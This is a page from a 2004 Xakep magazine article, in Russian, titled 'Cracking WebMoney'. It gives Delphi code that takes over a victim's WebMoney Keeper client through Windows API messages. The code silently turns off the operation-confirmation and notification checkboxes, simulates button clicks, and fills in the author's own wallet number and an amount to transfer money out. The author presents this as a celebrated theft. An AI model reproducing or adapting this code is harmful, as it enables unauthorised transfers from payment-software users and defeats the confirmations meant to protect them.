Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #67, ИЮЛЬ 2004 г.

Ломка WebMoney

Crack (crack@rsteam.ru)

Xakep, номер #067, стр. 067-042-3


ButtonWnd[5] - это указатель на кнопку "Меню". С помощью функции getwindowrect я узнаю координаты этой кнопки. Так как само выпадающее меню размещено немного выше кнопки, я отнимаю от полученной координаты "y" сорок px, по новым координатам получаю дескриптор самого меню. После этого я могу запросто получить указатель окна с параметрами программы, для чего опять воспользуюсь функцией API findwindow.

Теперь необходимо выключить соответствующие галочки на вкладке "Общие": "Сигнализировать о событиях", "Подтверждать операции", "Показывать информацию о получателе перед переводом WebMoney"; на вкладке "Безопасность": "Подтверждение выполнения операций". Также на вкладке "Общие" необходимо поставить галочку напротив "Закрывать окна после выполнения операций". Для этого я воспользуюсь сообщением bm_setcheck, у которого два параметра. Первый - в зависимости от того, нужно ли включить или выключить галочку, он равен нулю или единице, второй - ноль. Для получения нужных нам хэндлов я опять прогнал цикл for на получение первых 40 дочерних окон. Вот так это реализуется:

Выключаю ненужные опции

OptionWnd := FindWindow(nil, 'Параметры программы');

CheckBox[1]:=GetWindow(OptionWnd, gw_Child);

for i:=2 to 40 do CheckBox[i]:=GetWindow(CheckBox[i-1], gw_HWNDNext);

temp:=SendMessage(CheckBox[6], bm_GetCheck, 0, 0);

if temp >< 0 then SendMessage(CheckBox[6], bm_SetCheck, 0, 0);

temp:=SendMessage(CheckBox[7], bm_GetCheck, 0, 0);

if temp >< 0 then SendMessage(CheckBox[7], bm_SetCheck, 0, 0);

...и так далее остальных нужных галочек

Где OptionWnd - это указатель окна параметров программы, а CheckBox - массив хэндлов нужных нам галочек.

Теперь смело жму кнопку "ОК", для этого засылаю два сообщения:

sendmessage(handle, wm_lbuttondown, mk_lbutton, 0);

sendmessage(handle, wm_lbuttonup, mk_lbutton, 0);

где handle - это хэндл кнопки "ОК". Теперь осталось только отправить деньги на нужный кошелек. Захожу в меню: "Кошельки", "Передать WM", "В кошелек WebMoney". Снова получаю хэндл появившегося окна с помощью функции FindWindow и получаю хэндлы нужных мне полей ввода. Я опять не усложнял себе жизнь и прогнал цикл for для получения нужных мне дочерних окон. Потом в поле "Сумма" помещаю нужную цифру, а в поле "Кошелек" ввожу свой кошелек, для этого использую сообщение wm_settext, у которого два параметра: первый - ноль, второй - переменная, откуда я беру нужный текст.

Ввожу сумму и кошелек

SendMessage(kosh_handle,WM_SETTEXT,0, LParam(PCHAR('Z066667778888')));

//Вводим наш кошелек

SendMessage(Money, wm_Char,WParam(PCHAR('5')),0);

SendMessage(Money, wm_Char,WParam(PCHAR('0')),0);

//сообщение WM_SETTEXT для поля "Сумма" не работает!

kosh_handle - хэндл поля ввода номера кошелька, money - указатель на поле с суммой платежа.

После всего этого остается только нажать на кнопку "Передать" - это делается по аналогии с кнопкой "ОК", способ для которой приведен выше.

Если все сделано правильно, то нужная сумма денег вскоре упадет в мой кошелечек, а мне останется только пойти радоваться с друзьями.

Назад на стр. 067-042-2  Содержание  Вперед на стр. 067-042-4